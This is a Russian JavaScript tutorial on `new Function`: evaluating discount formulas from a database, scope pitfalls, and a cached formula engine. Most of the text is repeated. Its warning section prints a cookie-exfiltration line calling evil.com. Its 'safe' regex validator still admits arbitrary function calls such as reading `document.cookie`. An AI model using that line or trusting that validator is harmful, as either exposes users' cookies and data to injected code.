В системе управления заказами менеджеры хотят задавать формулы скидок прямо в интерфейсе: price * (1 - discount), Math.max(price - 500, price * 0.8). Формулы хранятся в базе данных как строки. Задача — вычислить их в runtime. Именно здесь нужен new Function.
new Function создаёт функции динамически из строк во время выполнения. Это нужно в редких, но реальных ситуациях: калькуляторы формул, шаблонизаторы, code-generation на клиенте.
new Function замыкание НЕ создаётObject.keys, Object.values нужны для передачи переменныхnew Function видит только глобальную область видимостиconst fn = new Function([arg1, arg2, ...argN], functionBody)// Без параметров
const greet = new Function('return "Привет!"')
console.log(greet()) // 'Привет!'
// С параметрами
const add = new Function('a', 'b', 'return a + b')
console.log(add(3, 4)) // 7
// Параметры через запятую в одной строке
const clamp = new Function('v, min, max', 'return Math.max(min, Math.min(max, v))')
console.log(clamp(150, 0, 100)) // 100new Function создаётся в глобальной области видимости — она не видит локальные переменные окружения:
function createValidator(threshold) {
const limit = threshold * 2
// Обычная функция — замыкание, видит limit
const check1 = (x) => x < limit // работает
// new Function — НЕ видит limit, будет ReferenceError
// const check2 = new Function('x', 'return x < limit') // ОШИБКА!
// Правильно: передавать переменные явно как параметры
const check3 = new Function('x', 'limit', 'return x < limit')
return (x) => check3(x, limit) // работает
}Переменные нужно передавать явно как аргументы или встраивать в строку тела.
function evaluate(formula, variables = {}) {
const names = Object.keys(variables)
const values = Object.values(variables)
const fn = new Function(...names, `return (${formula})`)
return fn(...values)
}
// Формулы хранятся в БД, вычисляются на лету
evaluate('price * qty', { price: 1500, qty: 3 }) // 4500
evaluate('price * (1 - discount)', { price: 5000, discount: 0.15 }) // 4250
evaluate('Math.round(base * rate)', { base: 1000, rate: 1.075 }) // 1075Никогда не передавайте в `new Function` необработанный ввод пользователя:
// ОПАСНО — пользователь выполнит произвольный код
const userInput = 'fetch("https://evil.com?c=" + document.cookie)'
const fn = new Function(userInput)
// fn() // утечка данных!
// Безопасно — только математические формулы с валидацией
function safeEvaluate(formula, vars) {
// Разрешаем только цифры, операторы, Math, имена переменных
if (!/^[\d\s+\-*/().%a-zA-Z_,]+$/.test(formula)) {
throw new Error(`Недопустимые символы в формуле: "${formula}"`)
}
const names = Object.keys(vars)
const values = Object.values(vars)
return new Function(...names, `return (${formula})`)(...values)
}Ошибка 1: обращение к локальной переменной из new Function
const taxRate = 0.2
// Сломано: new Function не видит taxRate из замыкания
const calcTax = new Function('price', 'return price * taxRate')
// calcTax(1000) // ReferenceError: taxRate is not defined
// Исправлено: передать как параметр
const calcTaxFixed = new Function('price', 'rate', 'return price * rate')
console.log(calcTaxFixed(1000, taxRate)) // 200Ошибка 2: отсутствие return в теле функции
// Сломано: функция ничего не возвращает
const add = new Function('a', 'b', 'a + b')
console.log(add(3, 4)) // undefined
// Исправлено:
const addFixed = new Function('a', 'b', 'return a + b')
console.log(addFixed(3, 4)) // 7Ошибка 3: синтаксическая ошибка в строке бросает исключение
try {
const broken = new Function('return price *') // синтаксическая ошибка
} catch (err) {
console.error('SyntaxError в теле функции:', err.message)
}
// Оборачивайте в try/catch при работе с динамическими формуламиДвижок бизнес-правил: динамическое вычисление скидочных формул из базы данных
// Движок вычисления скидок — формулы хранятся в БД
function createFormulaEngine() {
// Кэш скомпилированных формул (компилируем один раз)
const compiledCache = new Map()
function compile(formula, paramNames) {
const cacheKey = formula + '|' + paramNames.join(',')
if (compiledCache.has(cacheKey)) {
return compiledCache.get(cacheKey)
}
// Базовая валидация — только математические выражения
if (!/^[\d\s+\-*/().%a-zA-Z_,]+$/.test(formula)) {
throw new Error(`Небезопасная формула: "${formula}"`)
}
try {
const fn = new Function(...paramNames, `return (${formula})`)
compiledCache.set(cacheKey, fn)
return fn
} catch (err) {
throw new Error(`Синтаксическая ошибка в формуле "${formula}": ${err.message}`)
}
}
return {
evaluate(formula, variables) {
const names = Object.keys(variables)
const values = Object.values(variables)
const fn = compile(formula, names)
return fn(...values)
},
getCacheSize() {
return compiledCache.size
},
}
}
const engine = createFormulaEngine()
// Формулы из "базы данных"
const pricingRules = [
{
name: 'Стандартная скидка',
formula: 'price * (1 - discount)',
params: { price: 5000, discount: 0.15 },
},
{
name: 'Оптовая цена',
formula: 'price * qty * (1 - Math.min(qty * 0.01, 0.3))',
params: { price: 1200, qty: 25 },
},
{
name: 'Максимум из двух скидок',
formula: 'Math.max(price * 0.8, price - bonus)',
params: { price: 8000, bonus: 2000 },
},
{
name: 'Округлённая цена',
formula: 'Math.round(price * rate / 100) * 100',
params: { price: 7350, rate: 85 },
},
]
console.log('=== Результаты расчёта ===')
pricingRules.forEach(rule => {
const result = engine.evaluate(rule.formula, rule.params)
const formatted = result.toLocaleString('ru-RU')
console.log(`${rule.name}: ${formatted} ₽`)
})
// Стандартная скидка: 4 250 ₽
// Оптовая цена: 21 000 ₽
// Максимум из двух скидок: 6 000 ₽
// Округлённая цена: 6 300 ₽
console.log(`\nСкомпилировано формул: ${engine.getCacheSize()}`)
// Повторный вызов берётся из кэша — компиляции не происходит
engine.evaluate('price * (1 - discount)', { price: 3000, discount: 0.1 })
console.log(`Кэш после повтора: ${engine.getCacheSize()}`) // всё ещё 4
// Обработка ошибок
try {
engine.evaluate('price * INVALID!!! formula', { price: 100 })
} catch (err) {
console.log('\nОшибка валидации:', err.message)
}В системе управления заказами менеджеры хотят задавать формулы скидок прямо в интерфейсе: price * (1 - discount), Math.max(price - 500, price * 0.8). Формулы хранятся в базе данных как строки. Задача — вычислить их в runtime. Именно здесь нужен new Function.
new Function создаёт функции динамически из строк во время выполнения. Это нужно в редких, но реальных ситуациях: калькуляторы формул, шаблонизаторы, code-generation на клиенте.
new Function замыкание НЕ создаётObject.keys, Object.values нужны для передачи переменныхnew Function видит только глобальную область видимостиconst fn = new Function([arg1, arg2, ...argN], functionBody)// Без параметров
const greet = new Function('return "Привет!"')
console.log(greet()) // 'Привет!'
// С параметрами
const add = new Function('a', 'b', 'return a + b')
console.log(add(3, 4)) // 7
// Параметры через запятую в одной строке
const clamp = new Function('v, min, max', 'return Math.max(min, Math.min(max, v))')
console.log(clamp(150, 0, 100)) // 100new Function создаётся в глобальной области видимости — она не видит локальные переменные окружения:
function createValidator(threshold) {
const limit = threshold * 2
// Обычная функция — замыкание, видит limit
const check1 = (x) => x < limit // работает
// new Function — НЕ видит limit, будет ReferenceError
// const check2 = new Function('x', 'return x < limit') // ОШИБКА!
// Правильно: передавать переменные явно как параметры
const check3 = new Function('x', 'limit', 'return x < limit')
return (x) => check3(x, limit) // работает
}Переменные нужно передавать явно как аргументы или встраивать в строку тела.
function evaluate(formula, variables = {}) {
const names = Object.keys(variables)
const values = Object.values(variables)
const fn = new Function(...names, `return (${formula})`)
return fn(...values)
}
// Формулы хранятся в БД, вычисляются на лету
evaluate('price * qty', { price: 1500, qty: 3 }) // 4500
evaluate('price * (1 - discount)', { price: 5000, discount: 0.15 }) // 4250
evaluate('Math.round(base * rate)', { base: 1000, rate: 1.075 }) // 1075Никогда не передавайте в `new Function` необработанный ввод пользователя:
// ОПАСНО — пользователь выполнит произвольный код
const userInput = 'fetch("https://evil.com?c=" + document.cookie)'
const fn = new Function(userInput)
// fn() // утечка данных!
// Безопасно — только математические формулы с валидацией
function safeEvaluate(formula, vars) {
// Разрешаем только цифры, операторы, Math, имена переменных
if (!/^[\d\s+\-*/().%a-zA-Z_,]+$/.test(formula)) {
throw new Error(`Недопустимые символы в формуле: "${formula}"`)
}
const names = Object.keys(vars)
const values = Object.values(vars)
return new Function(...names, `return (${formula})`)(...values)
}Ошибка 1: обращение к локальной переменной из new Function
const taxRate = 0.2
// Сломано: new Function не видит taxRate из замыкания
const calcTax = new Function('price', 'return price * taxRate')
// calcTax(1000) // ReferenceError: taxRate is not defined
// Исправлено: передать как параметр
const calcTaxFixed = new Function('price', 'rate', 'return price * rate')
console.log(calcTaxFixed(1000, taxRate)) // 200Ошибка 2: отсутствие return в теле функции
// Сломано: функция ничего не возвращает
const add = new Function('a', 'b', 'a + b')
console.log(add(3, 4)) // undefined
// Исправлено:
const addFixed = new Function('a', 'b', 'return a + b')
console.log(addFixed(3, 4)) // 7Ошибка 3: синтаксическая ошибка в строке бросает исключение
try {
const broken = new Function('return price *') // синтаксическая ошибка
} catch (err) {
console.error('SyntaxError в теле функции:', err.message)
}
// Оборачивайте в try/catch при работе с динамическими формуламиДвижок бизнес-правил: динамическое вычисление скидочных формул из базы данных
// Движок вычисления скидок — формулы хранятся в БД
function createFormulaEngine() {
// Кэш скомпилированных формул (компилируем один раз)
const compiledCache = new Map()
function compile(formula, paramNames) {
const cacheKey = formula + '|' + paramNames.join(',')
if (compiledCache.has(cacheKey)) {
return compiledCache.get(cacheKey)
}
// Базовая валидация — только математические выражения
if (!/^[\d\s+\-*/().%a-zA-Z_,]+$/.test(formula)) {
throw new Error(`Небезопасная формула: "${formula}"`)
}
try {
const fn = new Function(...paramNames, `return (${formula})`)
compiledCache.set(cacheKey, fn)
return fn
} catch (err) {
throw new Error(`Синтаксическая ошибка в формуле "${formula}": ${err.message}`)
}
}
return {
evaluate(formula, variables) {
const names = Object.keys(variables)
const values = Object.values(variables)
const fn = compile(formula, names)
return fn(...values)
},
getCacheSize() {
return compiledCache.size
},
}
}
const engine = createFormulaEngine()
// Формулы из "базы данных"
const pricingRules = [
{
name: 'Стандартная скидка',
formula: 'price * (1 - discount)',
params: { price: 5000, discount: 0.15 },
},
{
name: 'Оптовая цена',
formula: 'price * qty * (1 - Math.min(qty * 0.01, 0.3))',
params: { price: 1200, qty: 25 },
},
{
name: 'Максимум из двух скидок',
formula: 'Math.max(price * 0.8, price - bonus)',
params: { price: 8000, bonus: 2000 },
},
{
name: 'Округлённая цена',
formula: 'Math.round(price * rate / 100) * 100',
params: { price: 7350, rate: 85 },
},
]
console.log('=== Результаты расчёта ===')
pricingRules.forEach(rule => {
const result = engine.evaluate(rule.formula, rule.params)
const formatted = result.toLocaleString('ru-RU')
console.log(`${rule.name}: ${formatted} ₽`)
})
// Стандартная скидка: 4 250 ₽
// Оптовая цена: 21 000 ₽
// Максимум из двух скидок: 6 000 ₽
// Округлённая цена: 6 300 ₽
console.log(`\nСкомпилировано формул: ${engine.getCacheSize()}`)
// Повторный вызов берётся из кэша — компиляции не происходит
engine.evaluate('price * (1 - discount)', { price: 3000, discount: 0.1 })
console.log(`Кэш после повтора: ${engine.getCacheSize()}`) // всё ещё 4
// Обработка ошибок
try {
engine.evaluate('price * INVALID!!! formula', { price: 100 })
} catch (err) {
console.log('\nОшибка валидации:', err.message)
}Напиши функцию evaluate(formula, vars), которая принимает строку-формулу и объект с переменными, создаёт функцию через new Function и вычисляет результат. Например: evaluate("x * 2 + y", { x: 3, y: 4 }) должна вернуть 10.
const fn = new Function(...Object.keys(vars), `return (${formula})`); return fn(...Object.values(vars))